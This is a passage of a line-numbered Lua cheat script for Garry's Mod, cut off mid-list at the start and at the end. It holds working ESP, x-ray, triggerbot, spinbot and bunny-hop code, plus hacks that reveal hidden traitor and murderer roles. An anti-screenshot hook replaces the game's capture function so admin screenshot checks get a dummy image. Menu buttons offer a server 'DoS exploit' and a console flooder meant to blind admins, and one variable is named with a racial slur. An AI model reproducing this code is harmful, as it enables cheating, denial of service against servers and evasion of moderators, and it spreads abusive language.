  1478. Namebutton:SetToolTip( "randomly change your RPname in darkrp to confuse people" )
  1479. Namebutton.Paint = function()
  1480. surface.SetDrawColor( 0, 60, 60, 200 )
  1481. Namebutton:SetText( "Randomize RPname" )
  1482. surface.DrawRect( 0, 0, Namebutton:GetWide(), Namebutton:GetTall() )
  1483. end
  1484. Namebutton.DoClick = function() RunConsoleCommand("jav_newname") end
  1485.  
  1486. local EntFbutton = vgui.Create( "DButton" )
  1487. EntFbutton:SetParent( Menu )  
  1488. EntFbutton:SetPos( 250, 520 )
  1489. EntFbutton:SetTextColor( Color(255, 255, 255, 255) )
  1490. EntFbutton:SetSize( 110, 25 )
  1491. EntFbutton:SetToolTip( "Go to the entity finder menu" )
  1492. EntFbutton.Paint = function()
  1493. surface.SetDrawColor( 60, 60, 0, 200 )
  1494. EntFbutton:SetText( "Entity Finder ESP" )
  1495. surface.DrawRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() )
  1496. end
  1497. EntFbutton.DoClick = function()
  1498. RunConsoleCommand("jav_entfinder_menu")
  1499. Menu:Remove()
  1500. end
  1501.  
  1502. local Lagsploitbutton = vgui.Create( "DButton" )
  1503. Lagsploitbutton:SetParent( Menu )  
  1504. Lagsploitbutton:SetPos( 370, 520 )
  1505. Lagsploitbutton:SetTextColor( Color(255, 255, 255, 255) )
  1506. Lagsploitbutton:SetSize( 110, 25 )
  1507. Lagsploitbutton:SetToolTip( "An ingame DoS attack, will cause significant lag on any server running sandbox or a sandbox derived gamemode (AKA most gamemodes except TTT).  Multiple people firing this at once will cause even more lag." )
  1508. Lagsploitbutton.Paint = function()
  1509. surface.SetDrawColor( 60, 0, 0, 200 )
  1510. Lagsploitbutton:SetText( "DoS Exploit" )
  1511. surface.DrawRect( 0, 0, Lagsploitbutton:GetWide(), Lagsploitbutton:GetTall() )
  1512. end
  1513. Lagsploitbutton.DoClick = function() if GetConVarNumber("jav_lagsploit") == 0 then LocalPlayer():ConCommand("jav_lagsploit 1") elseif GetConVarNumber("jav_lagsploit") == 1 then LocalPlayer():ConCommand("jav_lagsploit 0")  end end
  1514.  
  1515. local JamButton = vgui.Create( "DButton" )
  1516. JamButton:SetParent( Menu )  
  1517. JamButton:SetPos( 620, 520 )
  1518. JamButton:SetTextColor( Color(255, 255, 255, 255) )
  1519. JamButton:SetSize( 110, 25 )
  1520. JamButton:SetToolTip( "Floods the console with garbage making it impossible for admins to tell whats going on" )
  1521. JamButton.Paint = function()
  1522. surface.SetDrawColor( 0, 0, 60, 200 )
  1523. JamButton:SetText( "Console Jammer" )
  1524. surface.DrawRect( 0, 0, JamButton:GetWide(), JamButton:GetTall() )
  1525. end
  1526. JamButton.DoClick = function() LocalPlayer():ConCommand("jav_console_jammer") end
  1527.  
  1528. local LElabel = vgui.Create( "DLabel", Panel )
  1529. LElabel:SetParent(Menu)
  1530. LElabel:SetPos( 485, 523 )
  1531. LElabel:SetText( "DoS Power:" )
  1532. LElabel:SizeToContents()
  1533.  
  1534. local Lagsploitbox = vgui.Create( "DNumberWang" )// Create the checkbox
  1535. Lagsploitbox:SetPos( 545, 520 )
  1536. Lagsploitbox:SetParent(Menu)
  1537. Lagsploitbox:SetMin(0)
  1538. Lagsploitbox:SetMax(1000)
  1539. Lagsploitbox:SetConVar( "jav_lagsploit_power" )
  1540. Lagsploitbox:SetToolTip( "How powerful your lagsploit is in percentage (Default is 80%).  This option is kind of redundant with the new lagsploit but i left it in anyway" )
  1541.  
  1542. local nigger = vgui.Create( "DLabel", Menu )
  1543. nigger:SetParent(Menu)
  1544. nigger:SetPos( 595, 30 )
  1545. nigger:SetText( "Colour Scheme" )
  1546. nigger:SizeToContents()
  1547.  
  1548. Mixer = vgui.Create( "DColorMixer", Menu )
  1549. --Mixer:Dock( FILL )          --Make Mixer fill place of Frame
  1550. Mixer:SetPos(595,50)
  1551. Mixer:SetSize(200,200)
  1552. Mixer:SetPalette( true )        --Show/hide the palette         DEF:true
  1553. Mixer:SetAlphaBar( true )       --Show/hide the alpha bar       DEF:true
  1554. Mixer:SetWangs( true )          --Show/hide the R G B A indicators  DEF:true
  1555. Mixer:SetColor( GColScheme )   --Set the default color
  1556. Mixer.ValueChanged = function(Mixer, color)
  1557. GColScheme = color
  1558. --LocalPlayer():ConCommand("jav_colour_r "..color.r)
  1559. --LocalPlayer():ConCommand("jav_colour_g "..color.g)
  1560. --LocalPlayer():ConCommand("jav_colour_b "..color.b)
  1561. end
  1562.  
  1563. end)
  1564.  
  1565. /*------------------------------------------
  1566. ESP
  1567. ------------------------------------------*/
  1568. local function JavESP()
  1569. local ColScheme2 = Color(GColScheme.r, GColScheme.g, GColScheme.b, 255)
  1570. local ColScheme3 = Color(math.Clamp(ColScheme2.r + 100, 0, 255), math.Clamp(ColScheme2.g + 100, 0, 255), math.Clamp(ColScheme2.b + 100, 0, 255), 255)
  1571. local ColScheme4 = Color(math.Clamp(ColScheme2.r - 100, 0, 255), math.Clamp(ColScheme2.g - 100, 0, 255), math.Clamp(ColScheme2.b - 100, 0, 255), 255)
  1572.    if GetConVarNumber("jav_esp_enabled") == 1 then
  1573.    for k, e in pairs( player.GetAll() ) do
  1574.    local TeamColor = team.GetColor(e:Team())
  1575.    local Dist = math.floor(e:GetPos():Distance(LocalPlayer():GetPos()))
  1576.    local DrawDist = (GetConVarNumber("jav_esp_distance") / 0.02)
  1577.    local Meters = (math.floor(Dist * 0.02))
  1578.    local CircleSize = Dist / Dist * 10
  1579.    local wep = "Unknown"
  1580.    local SteamID = e:SteamID()
  1581.    local Name = e:Nick()
  1582.    local Group = e:GetUserGroup()
  1583.    local plypos = ( e:GetPos() + Vector( 0, 0, 40 ) ):ToScreen();
  1584.    local maxX, minX, maxY, minY, maxX2, minX2, maxY2, minY2, minYhp, maxYhp = CreatePos( e )
  1585.    local derp = (( e:GetPos() + e:GetVelocity() / 2) + Vector(0,0,40)):ToScreen()
  1586.    local derp2 = (( e:GetPos() + e:GetVelocity() / 4) + Vector(0,0,40)):ToScreen()
  1587.  
  1588.  
  1589.        if ( e != LocalPlayer() && IsCloseEnough(e)) then
  1590.            if (Dist < DrawDist) then
  1591.                if GetConVarNumber("jav_esp_position") == 1 && GetConVarNumber("jav_esp_budget") == 0 then
  1592.                    if e:Alive() then
  1593.                        if e:GetFriendStatus() == "friend" then
  1594.                          surface.DrawCircle(plypos.x, plypos.y, CircleSize, Color(0,255,0,255))
  1595.                        elseif Group ~= "user" then
  1596.                        surface.DrawCircle(plypos.x, plypos.y, CircleSize, ColScheme3)
  1597.                        else
  1598.                        surface.DrawCircle(plypos.x, plypos.y, CircleSize, ColScheme2)
  1599.                        end
  1600.                      surface.DrawCircle(plypos.x, plypos.y, CircleSize - 3, ColScheme4)
  1601.                  
  1602.                    else
  1603.                    surface.SetDrawColor(255,255,255,255)
  1604.                    surface.DrawLine( plypos.x - 10, plypos.y - 10, plypos.x +10 , plypos.y + 10 )
  1605.                    surface.DrawLine( plypos.x + 10, plypos.y - 10, plypos.x - 10 , plypos.y + 10 )
  1606.                end
  1607.                elseif GetConVarNumber("jav_esp_position") == 1 && GetConVarNumber("jav_esp_budget") == 1 then
  1608.                    surface.SetDrawColor(255,255,255,255)
  1609.                    surface.DrawRect( plypos.x - 4, plypos.y - 4, 8 , 8 )
  1610.            end
  1611.                if GetConVarNumber("jav_esp_box") == 1 then
  1612.            surface.SetDrawColor(255,150,0,255)                              
  1613.            surface.DrawLine( maxX, maxY, maxX, minY )
  1614.            surface.DrawLine( maxX, minY, minX, minY )                                    
  1615.            surface.DrawLine( minX, minY, minX, maxY )
  1616.            surface.DrawLine( minX, maxY, maxX, maxY )
  1617.            end
  1618.                if GetConVarNumber("jav_esp_velocity") == 1 then
  1619.            surface.DrawCircle(derp.x, derp.y, CircleSize +3, ColScheme2)
  1620.            surface.DrawCircle(derp2.x, derp2.y, CircleSize - 6, ColScheme2)
  1621.            end
  1622.                if GetConVarNumber("jav_esp_names") == 1 then
  1623.            if GetConVarNumber("jav_esp_budget") == 1 then
  1624.            draw.SimpleText( Name, "Trebuchet18", plypos.x - 15, plypos.y - 20, ColScheme3,4,1)
  1625.            else
  1626.            draw.SimpleTextOutlined( Name, "Trebuchet18", plypos.x - 15, plypos.y - 20, ColScheme3,4,1,1,Color(0,0,0))
  1627.            end
  1628.            end
  1629.  
  1630.            if GetConVarNumber("jav_ttthax") == 1 && e.HatTraitor == true then
  1631.            draw.SimpleTextOutlined( "TRAITOR", "Trebuchet18", plypos.x - 20, plypos.y - 35, Color(255,0,0),4,1,1,Color(0,0,0))
  1632.            end
  1633.  
  1634.  
  1635.            if GetConVarNumber("jav_esp_showtargetdistance") == 1 then
  1636.                if GetConVarNumber("jav_esp_budget") == 1 then
  1637.                draw.SimpleText( Meters.."m", "Trebuchet18", plypos.x - 12, plypos.y + 20, ColScheme4,4,1)
  1638.                else
  1639.                draw.SimpleTextOutlined( Meters.."m", "Trebuchet18", plypos.x - 12, plypos.y + 20, ColScheme4,4,1,1,Color(0,0,0))
  1640.                end
  1641.            end
  1642.  
  1643.                if GetConVarNumber("jav_esp_admin") == 1 then
  1644.                    if Group ~= "user" then
  1645.                    if GetConVarNumber("jav_esp_budget") == 1 then
  1646.                    draw.SimpleText( Group, "Trebuchet18", plypos.x - 12, plypos.y + 35, Color(200,200,200,255),4,1)
  1647.                    else
  1648.                    draw.SimpleTextOutlined( Group, "Trebuchet18", plypos.x - 12, plypos.y + 35, Color(200,200,200,255),4,1,1,Color(0,0,0))
  1649.                    end
  1650.                end
  1651.            end
  1652.  
  1653.        end
  1654.        end
  1655. end
  1656. end
  1657. end
  1658. hook.Add("HUDPaint", "JavESP", JavESP)
  1659.  
  1660. /*------------------------------------------
  1661. Xray
  1662. ------------------------------------------*/
  1663.  
  1664. local Matinfo = {
  1665. ["$basetexture"] = "models/debug/debugwhite",
  1666. ["$model"]       = 1,
  1667. ["$nocull"]      = 1,
  1668. ["$ignorez"]     = 1
  1669. }
  1670.  
  1671. mat1 = (CreateMaterial( "chams", "VertexLitGeneric", Matinfo ))
  1672. mat2 = (CreateMaterial( "wireframe", "Wireframe", Matinfo ))
  1673. trans = Color(0, 255, 0, 80)
  1674. trans2 = Color(0, 255, 100)
  1675. trans3 = Color(255, 155, 0, 200)
  1676.  
  1677. function Xray()
  1678. local ColScheme = Color(GColScheme.r, GColScheme.g, GColScheme.b, 100)
  1679. local ColSchemeV = Vector(ColScheme.r / 255, ColScheme.g / 255, ColScheme.b / 255)
  1680. local ColSchemeV2 = Vector(math.Clamp(ColSchemeV.x + 0.2, 0, 1), math.Clamp(ColSchemeV.y + 0.5, 0, 1), math.Clamp(ColSchemeV.z + 0.2, 0, 1))
  1681. local Dist = (GetConVarNumber("jav_xray_distance") / 0.02 )
  1682.    if !xray then
  1683.        xray = true
  1684.        hook.Add("HUDPaint", "xxrayz", function()
  1685.            for k,v in pairs(ents.GetAll()) do
  1686.                local position = (v:GetPos()+Vector(0,0,80)):ToScreen()
  1687.                if v:GetClass()== "prop_physics" and position.x<ScrW() and position.x>0 and position.y<ScrH() and position.y>0 and (LocalPlayer():GetPos():Distance(v:GetPos()) < Dist) then
  1688.                    cam.Start3D(EyePos(),EyeAngles())
  1689.                    v:SetMaterial(mat2)
  1690.                    v:SetRenderMode(4)
  1691.                    v:SetColor(ColScheme)
  1692.                    render.SuppressEngineLighting( true )
  1693.                    render.MaterialOverride( mat1 )
  1694.                    render.SetColorModulation( ColSchemeV.x, ColSchemeV.y, ColSchemeV.z)
  1695.                    render.SetBlend(0.3)
  1696.                    v:DrawModel()
  1697.                    render.SetBlend(1)
  1698.                    render.SuppressEngineLighting( false )
  1699.                    render.MaterialOverride( )
  1700.                    cam.End3D()            
  1701.                elseif v:GetClass()==("prop_door_rotating") or v:GetClass()==("func_door_rotating") then    
  1702.                    v:SetMaterial("models/wireframe")
  1703.                    v:SetColor(ColScheme)
  1704.                elseif v:IsPlayer() && v:Alive() then    
  1705.                    cam.Start3D(EyePos(),EyeAngles())
  1706.                    v:SetMaterial(mat2)
  1707.                    v:SetRenderMode(4)
  1708.                    v:SetColor(ColScheme)
  1709.                    render.SuppressEngineLighting( true )
  1710.                    render.MaterialOverride( mat1 )
  1711.                    render.SetColorModulation( ColSchemeV2.x, ColSchemeV2.y, ColSchemeV2.z )
  1712.                    render.SetBlend(0.3)
  1713.                    v:DrawModel()
  1714.                    render.SetBlend(1)
  1715.                    render.SuppressEngineLighting( false )
  1716.                    render.MaterialOverride( )
  1717.                    cam.End3D()
  1718.                end
  1719.            end
  1720.        end)
  1721.    elseif xray then
  1722.        xray = false
  1723.        for k,v in pairs(ents.GetAll()) do
  1724.            if v:GetClass()==("prop_door_rotating") or v:GetClass()==("func_door_rotating") or v:GetClass()== "prop_physics" or v:IsPlayer() then
  1725.                v:SetMaterial("")
  1726.                v:SetColor(Color(255,255,255))
  1727.            end
  1728.        end
  1729.        hook.Remove("HUDPaint", "xxrayz")
  1730.    end
  1731. end
  1732. concommand.Add("jav_xray_toggle",Xray)
  1733.  
  1734.  
  1735.  
  1736. /*------------------------------------------
  1737. Crosshair
  1738. ------------------------------------------*/
  1739. hook.Add( "HUDPaint", "jav_crosshair", function( )
  1740.        if GetConVarNumber("jav_crosshair_enabled") == 1 then
  1741.        surface.DrawCircle(ScrW()/2, ScrH()/2, 14, Color(255,100,0,255))
  1742.        surface.DrawCircle(ScrW()/2, ScrH()/2, 2, Color(75,0,0,255))
  1743.    end
  1744. end)
  1745.  
  1746. /*------------------------------------------
  1747. Rear Vision Mirror
  1748. ------------------------------------------*/
  1749. hook.Add( "HUDPaint", "jav_mirror", function( )
  1750.        if GetConVarNumber("jav_mirror_enabled") == 1 then
  1751.        local CamData = {}
  1752.        local ang = LocalPlayer():EyeAngles()
  1753.        CamData.angles = Angle(ang.p - ang.p - ang.p, ang.y - 180, ang.r)
  1754.        CamData.origin = LocalPlayer():GetShootPos()
  1755.        CamData.x, CamData.y, CamData.w, CamData.h = 1620, 0, 300, 300
  1756.        render.RenderView( CamData )
  1757.        draw.RoundedBox(1, (ScrW() / 2) - 1.5, (ScrH() / 2) - 1.5, 3, 3, Color(255,255,255,255))
  1758.    end
  1759. end )
  1760.  
  1761.  
  1762. /*------------------------------------------
  1763. Triggerbot
  1764. ------------------------------------------*/
  1765.  
  1766. local toggler = 0
  1767.  
  1768. local function triggerbot(cmd)
  1769.    if GetConVarNumber("jav_triggerbot_enabled") == 1 then
  1770.    if LocalPlayer():Alive() then
  1771.        local td = {start = LocalPlayer():GetShootPos(), endpos = LocalPlayer():GetShootPos() + LocalPlayer():EyeAngles():Forward() * 65535, filter = LocalPlayer(), mask = MASK_SHOT}
  1772.        local tr = util.TraceLine(td)
  1773.        local target = tr.Entity
  1774.        if target:IsValid() then
  1775.            if IsValid(LocalPlayer():GetActiveWeapon()) then
  1776.                if LocalPlayer():GetActiveWeapon():Clip1() > 0 then
  1777.                    if target:IsPlayer() or target:IsNPC() then
  1778.                        if toggler == 0 then
  1779.                            cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
  1780.                            toggler = 1
  1781.                        else
  1782.                            cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
  1783.                            toggler = 0
  1784.                        end
  1785.                    end
  1786.                end
  1787.            end
  1788.        end
  1789.    end
  1790. end
  1791. end
  1792.  
  1793. hook.Add("CreateMove", "triggerbot", triggerbot)
  1794.  
  1795. /*------------------------------------------
  1796. TTT Magneto Toss
  1797. ------------------------------------------*/
  1798.  
  1799. function SpinBot()
  1800.    timer.Simple(.02,Turn)
  1801.    timer.Simple(.04,Turn)
  1802.    timer.Simple(.06,Turn)
  1803.    timer.Simple(.08,Turn)
  1804.    timer.Simple(.10,Turn)
  1805.    timer.Simple(.12,Turn)
  1806.    timer.Simple(.14,Turn)
  1807.    timer.Simple(.16,Turn)
  1808.    timer.Simple(.18,Turn)
  1809.    timer.Simple(.20,Turn)
  1810.    timer.Simple(.22,Turn)
  1811.    timer.Simple(.24,Turn)
  1812.    timer.Simple(.26,Turn)
  1813.    timer.Simple(.28,Turn)
  1814.    timer.Simple(.30,Turn)
  1815.    timer.Simple(.32,Turn)
  1816.    timer.Simple(.34,Turn)
  1817.    timer.Simple(.36,Turn)
  1818.    timer.Simple(.38,Turn)
  1819.    timer.Simple(.40,Turn)
  1820.    timer.Simple(.42,Turn)
  1821.    timer.Simple(.44,Turn)
  1822.    timer.Simple(.46,Turn)
  1823.    timer.Simple(.48,Turn)
  1824.    timer.Simple(.50,Turn)
  1825.    timer.Simple(.52,Turn)
  1826.    timer.Simple(.54,Turn)
  1827.    timer.Simple(.56,Turn)
  1828.    timer.Simple(.58,Turn)
  1829.    timer.Simple(.60,Turn)
  1830.    timer.Simple(.62,Turn)
  1831.    timer.Simple(.64,Turn)
  1832.    timer.Simple(.66,Turn)
  1833.    timer.Simple(.68,Turn)
  1834.    timer.Simple(.70,Turn)
  1835.    timer.Simple(.72,Turn)
  1836. end
  1837.  
  1838. function Turn()
  1839. -- Turn function
  1840.    LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,10,0))
  1841. end
  1842.  
  1843. local spinning = false
  1844. concommand.Add( "jav_spinbot", function()
  1845.        spinning = !spinning
  1846.        if( spinning ) then
  1847.            SpinBot()
  1848.                timer.Create( "spinning", 0.74, 0, function()
  1849.                        SpinBot()
  1850.                end )
  1851.        else
  1852.                timer.Destroy( "spinning" )
  1853.        end
  1854. end )
  1855.  
  1856. /*------------------------------------------
  1857. Bhop Script
  1858. ------------------------------------------*/
  1859. hook.Add( "CreateMove", "jav_bhop", function( cmd )
  1860.  
  1861.    if GetConVarNumber("jav_bhop_enabled") == 1 then
  1862.        if !LocalPlayer():IsFlagSet( FL_ONGROUND ) then
  1863.        cmd:SetButtons( bit.band( cmd:GetButtons(), bit.bnot( IN_JUMP ) ) )
  1864.        end
  1865.    end
  1866.  
  1867. end )
  1868.  
  1869. /*------------------------------------------
  1870. Auto Clicker
  1871. ------------------------------------------*/
  1872.  
  1873. local spam = 0
  1874.  
  1875. local function autoclick(cmd)
  1876. if GetConVarNumber("jav_autoclick_enabled") == 1 then
  1877.    if LocalPlayer():Alive() && input.IsMouseDown( 107 ) then
  1878.        if spam == 0 then
  1879.            cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
  1880.            spam = 1
  1881.            else
  1882.            cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
  1883.            spam = 0
  1884.        end
  1885.    end
  1886.  
  1887.    if LocalPlayer():Alive() && input.IsMouseDown( 108 ) then
  1888.        if spam == 0 then
  1889.            cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK2))
  1890.            spam = 1
  1891.            else
  1892.            cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK2)))
  1893.            spam = 0
  1894.        end
  1895.    end
  1896.  
  1897. end
  1898. end
  1899.  
  1900. hook.Add("CreateMove", "autoclick2", autoclick)
  1901.  
  1902. /*------------------------------------------
  1903. Flashlight Spammer
  1904. ------------------------------------------*/
  1905.  
  1906. hook.Add( "Think", "jav_flashlight", function()
  1907.  
  1908.    if GetConVarNumber("jav_flashlight_enabled") == 1 && input.IsKeyDown(KEY_F) then
  1909.        LocalPlayer():ConCommand("impulse 100")
  1910.    end
  1911.  
  1912. end )
  1913.  
  1914.  
  1915. /*------------------------------------------
  1916. Admin Detector
  1917. ------------------------------------------*/
  1918.  
  1919. concommand.Add("jav_printadmins", function()
  1920.    local plys = player.GetAll()
  1921.    for k, v in pairs(plys) do
  1922.        if v:GetNWString("usergroup") != "user" then
  1923.            print(v:GetName() .. string.rep("\t", math.Round(8 / #v:GetName())), v:GetNWString("usergroup"))
  1924.        end
  1925.    end
  1926. end)
  1927.  
  1928.  
  1929. concommand.Add("jav_toggle", function()
  1930.    if GetConVarNumber("jav_autoaim_enabled") == 0 then
  1931.        LocalPlayer():ConCommand("jav_autoaim_enabled 1")
  1932.    elseif GetConVarNumber("jav_autoaim_enabled") == 1 then
  1933.        LocalPlayer():ConCommand("jav_autoaim_enabled 0")
  1934.    end
  1935. end)
  1936.  
  1937. /*------------------------------------------
  1938. Witness Script
  1939. ------------------------------------------*/
  1940.  
  1941.    local Cap = math.cos(math.rad(45))
  1942.    local Offset = Vector(0, 0, 32)
  1943.    local Trace = {}
  1944.    local WitnessColor = Color (0,0,0)
  1945.  
  1946.    function Draw()
  1947.    if GetConVarNumber("jav_witness_enabled") == 1 then
  1948.        local Time = os.time() - 1
  1949.        local Witnesses = 0
  1950.        local BeingWitnessed = true
  1951.  
  1952.        if Time < os.time() then
  1953.            Time = os.time() + .5
  1954.            Witnesses = 0
  1955.            BeingWitnessed = false
  1956.            for k, pla in pairs(player.GetAll()) do
  1957.                if pla:IsValid() and pla != LocalPlayer() then
  1958.                    Trace.start  = LocalPlayer():EyePos() + Offset
  1959.                    Trace.endpos = pla:EyePos() + Offset
  1960.                    Trace.filter = {pla, LocalPlayer()}
  1961.  
  1962.                    TraceRes = util.TraceLine(Trace)
  1963.  
  1964.                    if !TraceRes.Hit then
  1965.                        if (pla:EyeAngles():Forward():Dot((LocalPlayer():EyePos() - pla:EyePos())) > Cap) then
  1966.                            Witnesses = Witnesses + 1
  1967.                            BeingWitnessed = true
  1968.  
  1969.                        end
  1970.                    end
  1971.                end
  1972.            end
  1973.        end
  1974.  
  1975.        if BeingWitnessed == false then
  1976.            WitnessColor = Color (200,150,0)
  1977.        else
  1978.            WitnessColor = Color (255,0,0)
  1979.        end
  1980.    draw.SimpleTextOutlined( Witnesses.." People can see you", "Trebuchet18", (ScrW() / 2) - 65, 30, Color(255,150,0),4,1,1,Color(0,0,0))
  1981.    surface.SetDrawColor( WitnessColor )
  1982.    surface.DrawRect( (ScrW() / 2) - 65, 40, 120, 4 )
  1983.  
  1984.    end
  1985.    end
  1986.    hook.Add("HUDPaint", "WitnessesBox", Draw)
  1987.  
  1988. /*------------------------------------------
  1989. Anti Screenshot (taken from lennys scripts)
  1990. ------------------------------------------*/
  1991.  
  1992.  
  1993. local missingpng = file.Read("materials/missing256.png", "GAME")
  1994.  
  1995. local noided_dummy = "iVBORw0KGgoAAAANSUhEUgAAAAcAAAAECAIAAADNpLIqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYSURBVBhXY2BgYmBmYGFgZEAFlIkyMAAACDAAKdIBq3cAAAAASUVORK5CYII="
  1996.  
  1997. /*
  1998. ###############
  1999. ACTUAL SCRIPT
  2000. ###############
  2001. */
  2002. local actualRenderCapture = _G.render.Capture
  2003. local encodeData      = util.Base64Encode;
  2004.  
  2005. local enabled = CreateClientConVar("jav_antiscreenshot", "1")
  2006. local function antiscreenshot()
  2007.    if enabled:GetBool() then
  2008.        _G.render.Capture = function(data)
  2009.            if data.format == "jpeg" then
  2010.                return missingpng
  2011.            elseif data.format == "png" then
  2012.                return missingpng
  2013.            end
  2014.        end
  2015.  
  2016.        util.Base64Encode = function( str )
  2017.            local encoding = encodeData( missingpng );
  2018.          
  2019.            return( noided_dummy );
  2020.        end
  2021.    else
  2022.        _G.render.Capture = actualRenderCapture
  2023.        util.Base64Encode = encodeData;
  2024.    end
  2025. end
  2026. antiscreenshot()
  2027. cvars.AddChangeCallback("jav_antiscreenshot", antiscreenshot)
  2028.  
  2029.  
  2030. /*------------------------------------------
  2031. Murder Hax (originally coded by deagler)
  2032. ------------------------------------------*/
  2033.  
  2034.  
  2035. local function murderhaks()
  2036. if GetConVarNumber("jav_murderhax") == 1 then
  2037.    for _,v in pairs (player.GetAll()) do
  2038.        for k2, v2 in pairs(v:GetWeapons()) do
  2039.            if string.find(v2:GetPrintName(), "Knife") then
  2040.                local man = v2.Owner
  2041.                local pos = (man:GetPos() + Vector(0,0,60)):ToScreen()
  2042.                local col = man:GetPlayerColor()
  2043.  
  2044.                draw.SimpleTextOutlined( "Murderer!", "Trebuchet20", plypos.x - 32, plypos.y - 40, Color(255, 0, 0),4,1,1,Color(0,0,0))
  2045.            end
  2046.            if string.find(v2:GetPrintName(), "Magnum") and v2.Owner then
  2047.                local man = v2.Owner
  2048.                local pos =  (man:GetPos() + Vector(0,0,60)):ToScreen()
  2049.                local col = man:GetPlayerColor()
  2050.  
  2051.                draw.SimpleTextOutlined( "Gun Holder", "Trebuchet20", plypos.x - 36, plypos.y - 40, Color(255, 255, 0),4,1,1,Color(0,0,0))
  2052.            end
  2053.        end
  2054.    end
  2055.  
  2056.  
  2057.    for b,c in pairs(ents.FindByClass("mu_loot")) do
  2058.             local pos = ( c:GetPos() + Vector( 0,0,30 ) ):ToScreen()
  2059.             local LootDist = (math.floor(c:GetPos():Distance(LocalPlayer():GetPos())) / 0.02)
  2060.            draw.SimpleTextOutlined( "Loot "..LootDist.."m", "Trebuchet18", pos.x, pos.y, Color( 0, 255, 0, 255 ),4,1,1,Color(0,0,0))
  2061.        end
  2062. end
  2063. end
  2064.  
  2065. hook.Add("RenderScreenspaceEffects", "murderhax", murderhaks)
  2066.  
  2067. /*------------------------------------------
  2068. TTT Hax
  2069. ------------------------------------------*/
  2070.  
  2071. local matOverlay = Material( "sprites/glow08" )
  2072. local matTraitor = Material( "sprites/dot" )
  2073. local twep = {"spiderman's_swep", "weapon_ttt_trait_defilibrator", "weapon_ttt_xbow", "weapon_ttt_dhook", "weapon_awp", "weapon_ttt_ak47", "weapon_jihadbomb", "weapon_ttt_knife", "weapon_ttt_c4", "weapon_ttt_decoy", "weapon_ttt_flaregun", "weapon_ttt_phammer", "weapon_ttt_push", "weapon_ttt_radio", "weapon_ttt_sipistol", "weapon_ttt_teleport", "weapon_ttt_awp", "weapon_mad_awp", "weapon_real_cs_g3sg1", "weapon_ttt_cvg_g3sg1", "weapon_ttt_g3sg1", "weapon_ttt_healthstation5", "weapon_ttt_sentry", "weapon_ttt_poison_dart", "weapon_ttt_trait_defibrillator"}
  2074.  
  2075. for _,v in pairs(player.GetAll()) do
  2076. v.HatTraitor = nil
  2077. end
  2078. for _,v in pairs(ents.GetAll()) do
  2079. v.HatESPTracked = nil
  2080. end
  2081.  
  2082. hook.Add("PostDrawOpaqueRenderables", "wire_animations_idle", function()
  2083. if GetConVarNumber("jav_ttthax") == 1 then
  2084. if GAMEMODE.round_state != ROUND_ACTIVE then
  2085. for _,v in pairs(player.GetAll()) do
  2086. v.HatTraitor = nil
  2087. end
  2088. for _,v in pairs(ents.GetAll()) do
  2089. v.HatESPTracked = nil
  2090. end
  2091. return
  2092. end
  2093. for _,v in pairs( ents.GetAll() ) do
  2094. if v and IsValid(v) and (table.HasValue(twep, v:GetClass()) and !v.HatESPTracked) then
  2095. local pl = v.Owner
  2096. if pl and IsValid(pl) and pl:IsTerror() then
  2097. if pl:IsDetective() then
  2098. v.HatESPTracked = true
  2099. else
  2100. v.HatESPTracked = true
  2101. pl.HatTraitor = true
  2102. chat.AddText( pl, Color(255,125,0), " is a ",Color(255,0,0), "TRAITOR",Color(255,125,0), " with a ",Color(255,0,0),v:GetClass().."!")
  2103. end
  2104. end
  2105. end
  2106. end
  2107.  
  2108. end
  2109.  
  2110. end)
  2111.  
  2112. /*------------------------------------------
  2113. DarkRP name changer (taken from lennys scripts)
  2114. ------------------------------------------*/
  2115.  
  2116. firstname = {
  2117.    "Richard",
  2118.    "Jack",
  2119.    "John",
  2120.    "Luke",
  2121.    "Cameron",
  2122.    "Joe",
  2123.    "Peter",
  2124.    "Aaron",
  2125.    "Chris",
  2126.    "Matthew",
  2127.    "Paul",
  2128.    "Floyd",
  2129.    "Trevor",
  2130.    "Travis",
  2131.    "Owen",
  2132.    "Seth",
  2133.    "Nathan",
  2134.    "Alan",
  2135.    "Dale",
  2136.    "Albert",
  2137.    "Blake",
  2138.    "William",
  2139.    "Ben",
  2140.    "Bruce",
  2141.    "Byron",
  2142.    "Brad",
  2143.    "Carlos",
  2144.    "Craig",
  2145.    "Cory",
  2146.    "Cole",
  2147.    "Carter",
  2148.    "Connor",
  2149.    "Duncan",
  2150.    "Dwight",
  2151.    "Dominic",
  2152.    "Eli",
  2153.    "Derrick",
  2154.    "Brett",
  2155.    "Brian",
  2156.    "Charles",
  2157.    "Isaac",
  2158.    "Gavin",
  2159.    "Dylan",
  2160.    "Elvis",
  2161.    "Kyle",
  2162.    "Kurt",
  2163.    "Kevin",
  2164.    "Justin",
  2165.    "Michael",
  2166.    "Max",
  2167.    "Mario",
  2168.    "Leonardo",
  2169.    "Liam",
  2170.    "Norman",
  2171.    "Oliver",
  2172.    "Ray",
  2173.    "Troy",
  2174.    "Xavier",
  2175.    "Zack",
  2176.    "Alanna",
  2177.    "Abby",
  2178.    "Alice",
  2179.    "Amber",
  2180.    "Beatrice",
  2181.    "Beth",
  2182.    "Bridget",
  2183.    "Kate",
  2184.    "Clara",
  2185.    "Carol",
  2186.    "Cassie",
  2187.    "Jane",
  2188.    "Fiona",
  2189.    "Cynthia",
  2190.    "Deborah",
  2191.    "Denise",
  2192.    "Diana",
  2193.    "Elise",
  2194.    "Lisa",
  2195.    "Lacey",
  2196.    "Emma",
  2197.    "Gabriel",
  2198.    "Hayley",
  2199.    "Harley",
  2200.    "Heidi",
  2201.    "Holly",
  2202.    "Ivy",
  2203.    "Helen",
  2204.    "Jamie",
  2205.    "Jackie",
  2206.    "Jenna",
  2207.    "Josephine",
  2208.    "Julia",
  2209.    "Kelly",
  2210.    "Lara",
  2211.    "Lily",
  2212.    "Maia",
  2213.    "Amanda",
  2214.    "Mary",
  2215.    "Margaret",
  2216.    "Sarah",
  2217.    "Sydney",
  2218.    "Racheal",
  2219.    "Wilson",
